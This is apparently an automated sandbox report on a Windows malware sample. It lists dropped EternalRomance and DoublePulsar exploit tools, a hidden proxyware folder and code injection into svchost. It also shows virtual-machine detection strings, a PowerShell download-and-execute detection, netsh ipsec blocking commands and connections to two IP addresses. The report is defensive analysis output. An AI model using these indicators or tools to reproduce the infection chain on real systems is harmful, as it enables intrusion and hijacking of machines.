Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\posh-0.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\trch-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\tucl-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\crli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\coli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\x86.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll	Jump to dropped file
Source: C:\Users\user\Desktop\MSSQLH.exe	Dropped PE file which has not been started: C:\Windows\Logs\RunDllExe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\64[1].jpg	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\exma-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\tibe-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\cnli-1.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\zlib1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\ssleay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll	Jump to dropped file

Source: C:\Users\user\Desktop\38iGnQnL33.exe	API coverage: 8.5 %
Source: C:\Users\user\Desktop\MSSQLH.exe	API coverage: 7.1 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 3.9 %
Source: C:\Windows\Temp\Wmicc.exe	API coverage: 4.8 %

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040C190

11_2_0040C190

Source: C:\Windows\Temp\MpMgSvc.exe TID: 5316	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe TID: 5316	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3288	Thread sleep time: -864000000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 5960	Thread sleep count: 2926 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 4180	Thread sleep count: 2262 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 4180	Thread sleep time: -2262000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 4180	Thread sleep count: 2633 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 4180	Thread sleep time: -2633000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6640	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 20120	Thread sleep count: 6274 > 30
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 20104	Thread sleep count: 3476 > 30
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 21064	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 21064	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 21064	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 18404	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 24032	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\svchost.exe

Thread sleep count: Count: 2926 delay: -8

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_10016AC0 FindFirstFileA,RemoveDirectoryA,RemoveDirectoryA,DeleteFileA,FindNextFileA,FindClose,	8_2_10016AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00407CF0 FindFirstFileA,FindClose,FindClose,	11_2_00407CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_004075B0 wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	11_2_004075B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00407DB0 FindFirstFileA,FindClose,CreateFileA,CloseHandle,	11_2_00407DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00407A00 lstrlenA,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,??2@YAPAXI@Z,??3@YAXPAX@Z,wsprintfA,FindNextFileA,FindClose,	11_2_00407A00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_004073E0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlenA,FindNextFileA,LocalFree,FindClose,	11_2_004073E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00407220 GetLogicalDriveStringsA,GetVolumeInformationA,SHGetFileInfoA,lstrlenA,lstrlenA,lstrlenA,GetDiskFreeSpaceExA,GetDriveTypeA,lstrlenA,

11_2_00407220

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040E410 OpenEventA,Sleep,GetVersionExA,gethostname,GetTickCount,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,getsockname,GetSystemInfo,wsprintfA,GlobalMemoryStatus,lstrlenA,

11_2_0040E410

Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 86400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 60000
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 30000

Source: MpMgSvc.exe, 00000004.00000003.3975272392.0000000013275000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware1!&]
Source: MpMgSvc.exe, 00000004.00000003.3975272392.0000000013275000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware1!
Source: Wmicc.exe, 0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: svchost.exe, 00000008.00000002.4110645801.0000000002E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @Hyper-V RAW
Source: netsh.exe, 00000010.00000002.1959059393.000000000103A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: MpMgSvc.exe, 00000004.00000003.3541861984.0000000000DE2000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000004.00000002.4114531391.0000000000DE3000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000004.00000002.4114131718.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.4109535921.0000000002E12000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.4110199382.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MpMgSvc.exe, 00000004.00000002.4114131718.0000000000DBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: netsh.exe, 00000024.00000003.1976802117.0000000001011000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{{4
Source: netsh.exe, 0000001E.00000002.1973983419.0000000000994000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000001E.00000003.1972829645.0000000000991000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: svchost.exe, 0000000B.00000002.4110290766.0000000003400000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000C.00000003.1955074787.0000000003711000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000015.00000003.1967603535.0000000001361000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000028.00000002.1986198380.000000000090A000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000002E.00000003.1991526007.00000000009D1000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000030.00000003.1995889515.0000000000B21000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000032.00000003.2001706405.0000000000D51000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000034.00000003.2007713433.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000036.00000003.2013628762.0000000003721000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000038.00000003.2019151014.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, ctfmoon.exe, 0000003B.00000002.2121368795.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35998
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35965
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35911
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35963
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35923
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35910
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35999
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-35960
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-36000
Source: C:\Users\user\Desktop\38iGnQnL33.exe	API call chain: ExitProcess graph end node	graph_0-36085
Source: C:\Users\user\Desktop\MSSQLH.exe	API call chain: ExitProcess graph end node	graph_1-18895
Source: C:\Users\user\Desktop\MSSQLH.exe	API call chain: ExitProcess graph end node	graph_1-18527
Source: C:\Users\user\Desktop\MSSQLH.exe	API call chain: ExitProcess graph end node	graph_1-18989
Source: C:\Users\user\Desktop\MSSQLH.exe	API call chain: ExitProcess graph end node	graph_1-18411
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_8-4813
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_8-4733
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_8-4367
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_8-4728
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\MSSQLH.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040BE60 BlockInput,BlockInput,

11_2_0040BE60

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Code function: 0_2_004CCFA0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_004CCFA0

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00467C2B mov eax, dword ptr fs:[00000030h]		0_2_00467C2B
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00468E46 mov eax, dword ptr fs:[00000030h]		0_2_00468E46

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Code function: 0_2_004030E0 GetProcessHeap,RtlAllocateHeap,MessageBoxA,

0_2_004030E0

Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0040B750 SetUnhandledExceptionFilter,	0_2_0040B750
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0040B73E SetUnhandledExceptionFilter,	0_2_0040B73E
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_0041CE5E SetUnhandledExceptionFilter,	1_2_0041CE5E
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_0041CE70 SetUnhandledExceptionFilter,	1_2_0041CE70
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_004130C3 SetUnhandledExceptionFilter,	63_2_004130C3
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_004130D5 SetUnhandledExceptionFilter,	63_2_004130D5

Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 1.226.84.135 53
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 119.203.212.165 80

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wmicc.exe PID: 17920, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\Wmicc.exe, type: DROPPED

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\svchost.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040C310 mouse_event,SetCursorPos,WindowFromPoint,SetCapture,MapVirtualKeyA,keybd_event,MapVirtualKeyA,keybd_event,mouse_event,mouse_event,

11_2_0040C310

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040C310 mouse_event,SetCursorPos,WindowFromPoint,SetCapture,MapVirtualKeyA,keybd_event,MapVirtualKeyA,keybd_event,mouse_event,mouse_event,

11_2_0040C310

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Process created: C:\Users\user\Desktop\MSSQLH.exe C:\Users\user\Desktop\MSSQLH.exe	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filterlist name=Filter1	Jump to behavior
